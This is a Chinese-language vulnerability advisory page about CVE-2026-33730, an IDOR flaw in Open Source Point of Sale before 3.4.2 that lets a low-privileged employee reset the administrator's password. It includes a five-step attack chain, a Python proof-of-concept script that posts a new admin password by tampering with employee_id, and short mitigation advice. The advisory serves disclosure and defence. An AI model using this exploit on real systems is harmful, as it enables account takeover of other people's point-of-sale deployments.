IPBUF安全漏洞报告
English
CVE-2026-33730 CVSS 6.5 中危

CVE-2026-33730 Open Source POS IDOR漏洞致提权

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33730
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open Source Point of Sale

相关标签

IDOR权限提升Open Source POS越权漏洞CVE-2026-33730

漏洞概述

Open Source Point of Sale (opensourcepos) 是一款基于PHP的销售点应用。在3.4.2版本之前,系统存在不安全的直接对象引用(IDOR)漏洞。由于应用未严格验证对象所有权及执行授权检查,低权限攻击者能够通过操纵请求中的employee_id参数,直接访问并修改其他用户(含管理员)的密码功能。该漏洞可能导致敏感账户被接管及权限提升,严重威胁系统安全。

技术细节

该漏洞的核心在于Open Source Point of Sale在处理用户密码更新请求时,未能实施严格的基于角色的访问控制(RBAC)和对象级别授权检查。在CodeIgniter框架的实现中,后端控制器直接信任了用户提交的`employee_id`参数,并将其用于构建数据库更新语句,而未将该参数与会话中当前登录用户的身份标识进行比对。攻击者首先以普通员工身份登录系统,随后利用浏览器开发者工具或代理工具(如Burp Suite)捕获发送至服务器的密码修改POST请求。通过将请求体中的`employee_id`参数值篡改为目标管理员的ID,攻击者成功绕过了前端界面的限制。服务器端后端逻辑在缺乏校验的情况下处理了该恶意请求,直接将管理员的密码更新为攻击者指定的新值。利用成功后,攻击者即可使用管理员凭证登录系统,完全控制应用程序数据。

攻击链分析

STEP 1
侦察与访问
攻击者发现目标使用Open Source Point of Sale系统,并获取一个低权限员工的账户凭据。
STEP 2
分析请求
攻击者登录后,使用代理工具拦截自身修改密码的请求,发现请求中包含employee_id参数。
STEP 3
篡改参数
攻击者将拦截请求中的employee_id修改为目标管理员的ID(通常为1),并设置新的恶意密码。
STEP 4
发送利用请求
攻击者重放篡改后的请求。服务器端由于缺少IDOR校验,直接接受请求并更新了管理员的密码。
STEP 5
权限提升
攻击者使用管理员账户和新密码登录系统,获得完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://target-opensourcepos.com/index.php/employees/save/1" # Attacker's session cookie (low-privileged user) session_cookie = "ci_session=attacker_session_value_here" # Headers headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } # Payload data # Note: 'employee_id' is usually a hidden field or part of the URL, # but here we simulate manipulating the data sent to the backend. payload_data = { "employee_id": "1", "username": "admin", "password": "newHackedPassword123!", "password_repeat": "newHackedPassword123!" } try: # Sending the request to reset the admin password (ID: 1) response = requests.post(target_url, data=payload_data, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the password for employee_id 1 (Admin) has been changed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Open Source Point of Sale < 3.4.2

防御指南

临时缓解措施
对于无法立即升级的系统,建议在Web应用防火墙(WAF)层添加规则,检测并阻止对密码修改接口的异常请求,特别是当请求中的employee_id与会话用户ID不一致时。同时,应加强管理员账户的监控,一旦检测到密码被非授权修改,立即触发警报。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表